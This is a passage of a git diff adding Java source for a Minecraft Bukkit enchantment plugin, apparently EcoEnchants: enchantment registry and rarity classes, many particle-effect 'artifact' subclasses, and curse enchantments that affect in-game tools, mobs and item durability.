LifeSteal(); + + /** + * Get all registered {@link EcoEnchant}s + * + * @return A set of all {@link EcoEnchant}s + */ + public static Set getAll() { + return ecoEnchants; + } + + /** + * Gets {@link EcoEnchant} from {@link Enchantment} + * + * @param enchantment The enchantment + * @return The matching {@link EcoEnchant}, or null if not found. + */ + public static EcoEnchant getFromEnchantment(Enchantment enchantment) { + return getByKey(enchantment.getKey()); + } + + /** + * Get {@link EcoEnchant} matching display name + * + * @param name The display name to search for + * @return The matching {@link EcoEnchant}, or null if not found. + */ + public static EcoEnchant getByName(String name) { + Optional matching = getAll().stream().filter(enchant -> enchant.getName().equalsIgnoreCase(name)).findFirst(); + return matching.orElse(null); + } + + /** + * Get {@link EcoEnchant} matching permission name + * + * @param permissionName The permission name to search for + * @return The matching {@link EcoEnchant}, or null if not found. + */ + public static EcoEnchant getByPermission(String permissionName) { + Optional matching = getAll().stream().filter(enchant -> enchant.getPermissionName().equalsIgnoreCase(permissionName)).findFirst(); + return matching.orElse(null); + } + + /** + * Get {@link EcoEnchant} matching key + * + * @param key The NamespacedKey to search for + * @return The matching {@link EcoEnchant}, or null if not found. + */ + public static EcoEnchant getByKey(NamespacedKey key) { + Optional matching = getAll().stream().filter(enchant -> enchant.getKey().equals(key)).findFirst(); + return matching.orElse(null); + } + /** + * Get if {@link ItemStack} has any {@link EcoEnchant} matching specified {@link com.willfp.ecoenchants.enchantments.EcoEnchant.EnchantmentType} + * + * @param item The {@link ItemStack} to check + * @param type The {@link com.willfp.ecoenchants.enchantments.EcoEnchant.EnchantmentType} to match + * @return True if has, false if doesn't have. + */ + public static boolean hasAnyOfType(ItemStack item, EcoEnchant.EnchantmentType type) { + if(item == null) return false; + + AtomicBoolean hasOfType = new AtomicBoolean(false); + + if(item.getItemMeta() instanceof EnchantmentStorageMeta) { + ((EnchantmentStorageMeta) item.getItemMeta()).getStoredEnchants().forEach(((enchantment, integer) -> { + if(getFromEnchantment(enchantment) != null) { + if(getFromEnchantment(enchantment).getType().equals(type)) hasOfType.set(true); + } + })); + } else { + item.getEnchantments().forEach(((enchantment, integer) -> { + if (getFromEnchantment(enchantment) != null) { + if (getFromEnchantment(enchantment).getType().equals(type)) hasOfType.set(true); + } + })); + } + return hasOfType.get(); + } + + /** + * Update all {@link EcoEnchant}s + * Called on /ecoreload + */ + public static void update() { + for (EcoEnchant ecoEnchant : new HashSet<>(getAll())) { + ecoEnchant.update(); + } + } + + /** + * Add new {@link EcoEnchant} to EcoEnchants + * Only for internal use, enchantments are automatically added in the {@link EcoEnchant#EcoEnchant(EcoEnchantBuilder)} constructor. + * + * @param enchant The {@link EcoEnchant} to add + */ + public static void addNewEcoEnchant(EcoEnchant enchant) { + ecoEnchants.remove(enchant); + ecoEnchants.add(enchant); + } + + /** + * Remove {@link EcoEnchant} from EcoEnchants + * + * @param enchant The {@link EcoEnchant} to remove + */ + public static void removeEcoEnchant(EcoEnchant enchant) { + ecoEnchants.remove(enchant); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/EnchantmentRarity.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/EnchantmentRarity.java new file mode 100644 index 00000000..e7dd81af --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/EnchantmentRarity.java @@ -0,0 +1,116 @@ +package com.willfp.ecoenchants.enchantments; + +import com.willfp.ecoenchants.config.ConfigManager; + +import java.util.HashSet; +import java.util.Optional; +import java.util.Set; + +/** + * Class for storing all enchantment rarities + */ +public class EnchantmentRarity { + private static final Set rarities = new HashSet<>(); + + private final String name; + private final double probability; + private final int minimumLevel; + private final double villagerProbability; + private final double lootProbability; + + /** + * Create new EnchantmentRarity + * @param name The name of the rarity + * @param probability The probability + * @param minimumLevel The minimum xp level + * @param villagerProbability The probability of a villager obtaining an enchantment with this rarity + * @param lootProbability The probability of an item in a loot chest having an enchantment with this rarity + */ + public EnchantmentRarity(String name, double probability, int minimumLevel, double villagerProbability, double lootProbability) { + Optional matching = rarities.stream().filter(rarity -> rarity.getName().equalsIgnoreCase(name)).findFirst(); + matching.ifPresent(rarities::remove); + + this.name = name; + this.probability = probability; + this.minimumLevel = minimumLevel; + this.villagerProbability = villagerProbability; + this.lootProbability = lootProbability; + + rarities.add(this); + } + + /** + * Get the name of the rarity + * @return The name + */ + public String getName() { + return this.name; + } + + /** + * Get the probability of obtaining enchantment with this rarity from an enchanting table + * @return The probability as a percentage + */ + public double getProbability() { + return this.probability; + } + + /** + * Get the probability of obtaining enchantment with this rarity from a villager + * @return The probability as a percentage + */ + public double getVillagerProbability() { + return this.villagerProbability; + } + + /** + * Get the probability of obtaining enchantment with this rarity from a loot chest + * @return The probability as a percentage + */ + public double getLootProbability() { + return this.lootProbability; + } + + /** + * Get the minimum level required to obtain enchantment with this rarity from an enchanting table + * @return The minimum level + */ + public int getMinimumLevel() { + return this.minimumLevel; + } + + /** + * Get EnchantmentRarity matching name + * @param name The name to search for + * @return The matching EnchantmentRarity, or null if not found + */ + public static EnchantmentRarity getByName(String name) { + Optional matching = rarities.stream().filter(rarity -> rarity.getName().equalsIgnoreCase(name)).findFirst(); + return matching.orElse(null); + } + + /** + * Update all rarities + * Called on /ecoreload + */ + public static void update() { + Set raritiesNames = ConfigManager.getConfig().getRarities(); + raritiesNames.forEach((rarity) -> { + String name = rarity; + double probability = ConfigManager.getConfig().getDouble("obtaining.rarities." + rarity + ".table-probability"); + int minimumLevel = ConfigManager.getConfig().getInt("obtaining.rarities." + rarity + ".minimum-level"); + double villagerProbability = ConfigManager.getConfig().getDouble("obtaining.rarities." + rarity + ".villager-probability"); + double lootProbability = ConfigManager.getConfig().getDouble("obtaining.rarities." + rarity + ".loot-probability"); + + new EnchantmentRarity(name, probability, minimumLevel, villagerProbability, lootProbability); + }); + } + + /** + * Get all rarities + * @return A set of all rarities + */ + public static Set getAll() { + return rarities; + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/InvalidEnchantmentException.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/InvalidEnchantmentException.java new file mode 100644 index 00000000..2c544350 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/InvalidEnchantmentException.java @@ -0,0 +1,10 @@ +package com.willfp.ecoenchants.enchantments; + +/** + * Triggered if enchantment is invalid (for extensions) + */ +public class InvalidEnchantmentException extends RuntimeException { + public InvalidEnchantmentException(String errorMessage) { + super(errorMessage); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/CloudsArtifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/CloudsArtifact.java new file mode 100644 index 00000000..62d77f16 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/CloudsArtifact.java @@ -0,0 +1,17 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.artifact; + +import com.willfp.ecoenchants.enchantments.Artifact; +import org.bukkit.Color; +import org.bukkit.Particle; + +@SuppressWarnings("deprecation") +public class CloudsArtifact extends Artifact { + public CloudsArtifact() { + super( + "clouds_artifact", + 4.0, + Particle.REDSTONE, + new Particle.DustOptions(Color.AQUA, 1.0f) + ); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/DamageArtifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/DamageArtifact.java new file mode 100644 index 00000000..03f120fe --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/DamageArtifact.java @@ -0,0 +1,15 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.artifact; + +import com.willfp.ecoenchants.enchantments.Artifact; +import org.bukkit.Particle; + +@SuppressWarnings("deprecation") +public class DamageArtifact extends Artifact { + public DamageArtifact() { + super( + "damage_artifact", + 4.0, + Particle.DAMAGE_INDICATOR + ); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/DragonArtifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/DragonArtifact.java new file mode 100644 index 00000000..72d263c5 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/DragonArtifact.java @@ -0,0 +1,15 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.artifact; + +import com.willfp.ecoenchants.enchantments.Artifact; +import org.bukkit.Particle; + +@SuppressWarnings("deprecation") +public class DragonArtifact extends Artifact { + public DragonArtifact() { + super( + "dragon_artifact", + 4.0, + Particle.DRAGON_BREATH + ); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/DustArtifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/DustArtifact.java new file mode 100644 index 00000000..c5162308 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/DustArtifact.java @@ -0,0 +1,15 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.artifact; + +import com.willfp.ecoenchants.enchantments.Artifact; +import org.bukkit.Particle; + +@SuppressWarnings("deprecation") +public class DustArtifact extends Artifact { + public DustArtifact() { + super( + "dust_artifact", + 4.0, + Particle.CRIT + ); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/EmeraldArtifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/EmeraldArtifact.java new file mode 100644 index 00000000..ee638e42 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/EmeraldArtifact.java @@ -0,0 +1,15 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.artifact; + +import com.willfp.ecoenchants.enchantments.Artifact; +import org.bukkit.Particle; + +@SuppressWarnings("deprecation") +public class EmeraldArtifact extends Artifact { + public EmeraldArtifact() { + super( + "emerald_artifact", + 4.0, + Particle.COMPOSTER + ); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/EnchantmentArtifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/EnchantmentArtifact.java new file mode 100644 index 00000000..46575ae4 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/EnchantmentArtifact.java @@ -0,0 +1,15 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.artifact; + +import com.willfp.ecoenchants.enchantments.Artifact; +import org.bukkit.Particle; + +@SuppressWarnings("deprecation") +public class EnchantmentArtifact extends Artifact { + public EnchantmentArtifact() { + super( + "enchantment_artifact", + 4.0, + Particle.ENCHANTMENT_TABLE + ); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/EndArtifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/EndArtifact.java new file mode 100644 index 00000000..b48f29b3 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/EndArtifact.java @@ -0,0 +1,15 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.artifact; + +import com.willfp.ecoenchants.enchantments.Artifact; +import org.bukkit.Particle; + +@SuppressWarnings("deprecation") +public class EndArtifact extends Artifact { + public EndArtifact() { + super( + "end_artifact", + 4.0, + Particle.END_ROD + ); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/FireArtifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/FireArtifact.java new file mode 100644 index 00000000..61a3c484 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/FireArtifact.java @@ -0,0 +1,15 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.artifact; + +import com.willfp.ecoenchants.enchantments.Artifact; +import org.bukkit.Particle; + +@SuppressWarnings("deprecation") +public class FireArtifact extends Artifact { + public FireArtifact() { + super( + "fire_artifact", + 4.0, + Particle.FLAME + ); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/HeartArtifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/HeartArtifact.java new file mode 100644 index 00000000..263f84e4 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/HeartArtifact.java @@ -0,0 +1,15 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.artifact; + +import com.willfp.ecoenchants.enchantments.Artifact; +import org.bukkit.Particle; + +@SuppressWarnings("deprecation") +public class HeartArtifact extends Artifact { + public HeartArtifact() { + super( + "heart_artifact", + 4.0, + Particle.HEART + ); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/HoneyArtifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/HoneyArtifact.java new file mode 100644 index 00000000..919b030c --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/HoneyArtifact.java @@ -0,0 +1,15 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.artifact; + +import com.willfp.ecoenchants.enchantments.Artifact; +import org.bukkit.Particle; + +@SuppressWarnings("deprecation") +public class HoneyArtifact extends Artifact { + public HoneyArtifact() { + super( + "honey_artifact", + 4.0, + Particle.FALLING_HONEY + ); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/InkArtifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/InkArtifact.java new file mode 100644 index 00000000..718a8fdf --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/InkArtifact.java @@ -0,0 +1,15 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.artifact; + +import com.willfp.ecoenchants.enchantments.Artifact; +import org.bukkit.Particle; + +@SuppressWarnings("deprecation") +public class InkArtifact extends Artifact { + public InkArtifact() { + super( + "ink_artifact", + 4.0, + Particle.SQUID_INK + ); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/LavaArtifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/LavaArtifact.java new file mode 100644 index 00000000..5e26fc47 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/LavaArtifact.java @@ -0,0 +1,15 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.artifact; + +import com.willfp.ecoenchants.enchantments.Artifact; +import org.bukkit.Particle; + +@SuppressWarnings("deprecation") +public class LavaArtifact extends Artifact { + public LavaArtifact() { + super( + "lava_artifact", + 4.0, + Particle.DRIP_LAVA + ); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/MagicArtifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/MagicArtifact.java new file mode 100644 index 00000000..53a1c756 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/MagicArtifact.java @@ -0,0 +1,15 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.artifact; + +import com.willfp.ecoenchants.enchantments.Artifact; +import org.bukkit.Particle; + +@SuppressWarnings("deprecation") +public class MagicArtifact extends Artifact { + public MagicArtifact() { + super( + "magic_artifact", + 4.0, + Particle.CRIT_MAGIC + ); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/MagmaArtifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/MagmaArtifact.java new file mode 100644 index 00000000..783f4691 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/MagmaArtifact.java @@ -0,0 +1,15 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.artifact; + +import com.willfp.ecoenchants.enchantments.Artifact; +import org.bukkit.Particle; + +@SuppressWarnings("deprecation") +public class MagmaArtifact extends Artifact { + public MagmaArtifact() { + super( + "magma_artifact", + 4.0, + Particle.LAVA + ); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/MusicArtifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/MusicArtifact.java new file mode 100644 index 00000000..0cc16f9f --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/MusicArtifact.java @@ -0,0 +1,15 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.artifact; + +import com.willfp.ecoenchants.enchantments.Artifact; +import org.bukkit.Particle; + +@SuppressWarnings("deprecation") +public class MusicArtifact extends Artifact { + public MusicArtifact() { + super( + "music_artifact", + 4.0, + Particle.NOTE + ); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/NetherArtifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/NetherArtifact.java new file mode 100644 index 00000000..9c42fdae --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/NetherArtifact.java @@ -0,0 +1,15 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.artifact; + +import com.willfp.ecoenchants.enchantments.Artifact; +import org.bukkit.Particle; + +@SuppressWarnings("deprecation") +public class NetherArtifact extends Artifact { + public NetherArtifact() { + super( + "nether_artifact", + 4.0, + Particle.PORTAL + ); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/RedstoneArtifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/RedstoneArtifact.java new file mode 100644 index 00000000..9bdaac6b --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/RedstoneArtifact.java @@ -0,0 +1,17 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.artifact; + +import com.willfp.ecoenchants.enchantments.Artifact; +import org.bukkit.Color; +import org.bukkit.Particle; + +@SuppressWarnings("deprecation") +public class RedstoneArtifact extends Artifact { + public RedstoneArtifact() { + super( + "redstone_artifact", + 4.0, + Particle.REDSTONE, + new Particle.DustOptions(Color.RED, 1.0f) + ); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/SmokeArtifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/SmokeArtifact.java new file mode 100644 index 00000000..a31429f9 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/SmokeArtifact.java @@ -0,0 +1,15 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.artifact; + +import com.willfp.ecoenchants.enchantments.Artifact; +import org.bukkit.Particle; + +@SuppressWarnings("deprecation") +public class SmokeArtifact extends Artifact { + public SmokeArtifact() { + super( + "smoke_artifact", + 4.0, + Particle.CAMPFIRE_COSY_SMOKE + ); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/SnowArtifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/SnowArtifact.java new file mode 100644 index 00000000..0ab29f83 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/SnowArtifact.java @@ -0,0 +1,15 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.artifact; + +import com.willfp.ecoenchants.enchantments.Artifact; +import org.bukkit.Particle; + +@SuppressWarnings("deprecation") +public class SnowArtifact extends Artifact { + public SnowArtifact() { + super( + "snow_artifact", + 4.0, + Particle.SNOWBALL + ); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/SparkleArtifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/SparkleArtifact.java new file mode 100644 index 00000000..d92d73ff --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/SparkleArtifact.java @@ -0,0 +1,15 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.artifact; + +import com.willfp.ecoenchants.enchantments.Artifact; +import org.bukkit.Particle; + +@SuppressWarnings("deprecation") +public class SparkleArtifact extends Artifact { + public SparkleArtifact() { + super( + "sparkle_artifact", + 4.0, + Particle.FIREWORKS_SPARK + ); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/TotemArtifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/TotemArtifact.java new file mode 100644 index 00000000..ed6977ef --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/TotemArtifact.java @@ -0,0 +1,15 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.artifact; + +import com.willfp.ecoenchants.enchantments.Artifact; +import org.bukkit.Particle; + +@SuppressWarnings("deprecation") +public class TotemArtifact extends Artifact { + public TotemArtifact() { + super( + "totem_artifact", + 4.0, + Particle.TOTEM + ); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/WaterArtifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/WaterArtifact.java new file mode 100644 index 00000000..7ec23d88 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/WaterArtifact.java @@ -0,0 +1,15 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.artifact; + +import com.willfp.ecoenchants.enchantments.Artifact; +import org.bukkit.Particle; + +@SuppressWarnings("deprecation") +public class WaterArtifact extends Artifact { + public WaterArtifact() { + super( + "water_artifact", + 4.0, + Particle.DRIP_WATER + ); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/WitchArtifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/WitchArtifact.java new file mode 100644 index 00000000..2f8cb379 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/WitchArtifact.java @@ -0,0 +1,15 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.artifact; + +import com.willfp.ecoenchants.enchantments.Artifact; +import org.bukkit.Particle; + +@SuppressWarnings("deprecation") +public class WitchArtifact extends Artifact { + public WitchArtifact() { + super( + "witch_artifact", + 4.0, + Particle.SPELL_WITCH + ); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/ZapArtifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/ZapArtifact.java new file mode 100644 index 00000000..740c0573 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/ZapArtifact.java @@ -0,0 +1,17 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.artifact; + +import com.willfp.ecoenchants.enchantments.Artifact; +import org.bukkit.Color; +import org.bukkit.Particle; + +@SuppressWarnings("deprecation") +public class ZapArtifact extends Artifact { + public ZapArtifact() { + super( + "zap_artifact", + 4.0, + Particle.REDSTONE, + new Particle.DustOptions(Color.YELLOW, 1.0f) + ); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/BreaklessnessCurse.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/BreaklessnessCurse.java new file mode 100644 index 00000000..50485d0f --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/BreaklessnessCurse.java @@ -0,0 +1,34 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.curse; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.block.BlockDamageEvent; + +@SuppressWarnings("deprecation") +public class BreaklessnessCurse extends EcoEnchant { + public BreaklessnessCurse() { + super( + new EcoEnchantBuilder("breaklessness_curse", EnchantmentType.CURSE, Target.Applicable.TOOL, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onDamageBlock(BlockDamageEvent event) { + Player player = event.getPlayer(); + + if (!HasEnchant.playerHeld(player, this)) return; + + if (Rand.randFloat(0, 1) > 0.01 * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance")) + return; + + event.setCancelled(true); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/CallingCurse.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/CallingCurse.java new file mode 100644 index 00000000..ca9ebab1 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/CallingCurse.java @@ -0,0 +1,51 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.curse; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.task.EcoRunnable; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.LocationUtils; +import org.bukkit.entity.Entity; +import org.bukkit.entity.Monster; +import org.bukkit.entity.PigZombie; +import org.bukkit.util.Vector; + +@SuppressWarnings("deprecation") +public class CallingCurse extends EcoEnchant implements EcoRunnable { + public CallingCurse() { + super( + new EcoEnchantBuilder("calling_curse", EnchantmentType.CURSE, new Target.Applicable[]{Target.Applicable.ARMOR}, 4.0) + ); + } + + @Override + public void run() { + Main.getInstance().getServer().getOnlinePlayers().stream().filter(player -> HasEnchant.getArmorPoints(player, EcoEnchants.CALLING_CURSE, false) > 0).forEach((player -> { + double distance = EcoEnchants.CALLING_CURSE.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "distance"); + + for (Entity e : player.getWorld().getNearbyEntities(player.getLocation(), distance, distance, distance)) { + if(!(e instanceof Monster)) continue; + + if(e instanceof PigZombie) { + ((PigZombie) e).setAngry(true); + } + + ((Monster) e).setTarget(player); + + Vector vector = player.getLocation().toVector().clone().subtract(e.getLocation().toVector()).normalize().multiply(0.23d); + + if(LocationUtils.isFinite(vector)) { + e.setVelocity(vector); + } + } + })); + } + + @Override + public long getTime() { + return this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "repeat-ticks"); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/DecayCurse.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/DecayCurse.java new file mode 100644 index 00000000..356cb060 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/DecayCurse.java @@ -0,0 +1,51 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.curse; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.task.EcoRunnable; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.ItemDurability; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.meta.Repairable; + +import java.util.Arrays; + +@SuppressWarnings("deprecation") +public class DecayCurse extends EcoEnchant implements EcoRunnable { + public DecayCurse() { + super( + new EcoEnchantBuilder("decay_curse", EnchantmentType.CURSE, Target.Applicable.ALL, 4.0) + ); + } + + @Override + public void run() { + Main.getInstance().getServer().getOnlinePlayers().forEach((player -> { + if(Arrays.stream(player.getInventory().getContents()).parallel().noneMatch(item2 -> HasEnchant.item(item2, EcoEnchants.DECAY_CURSE))) + return; + + for(ItemStack item : player.getInventory().getContents()) { + if(!HasEnchant.item(item, EcoEnchants.DECAY_CURSE)) continue; + + if(!(item.getItemMeta() instanceof Repairable)) continue; + + if(player.getInventory().getItemInMainHand().equals(item)) continue; + if(player.getInventory().getItemInOffHand().equals(item)) continue; + if(player.getItemOnCursor().equals(item)) continue; + + + int damage = EcoEnchants.DECAY_CURSE.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "damage"); + + ItemDurability.damageItemNoBreak(item, damage, player); + } + })); + } + + @Override + public long getTime() { + return this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "repeat-ticks"); + } +} diff --git 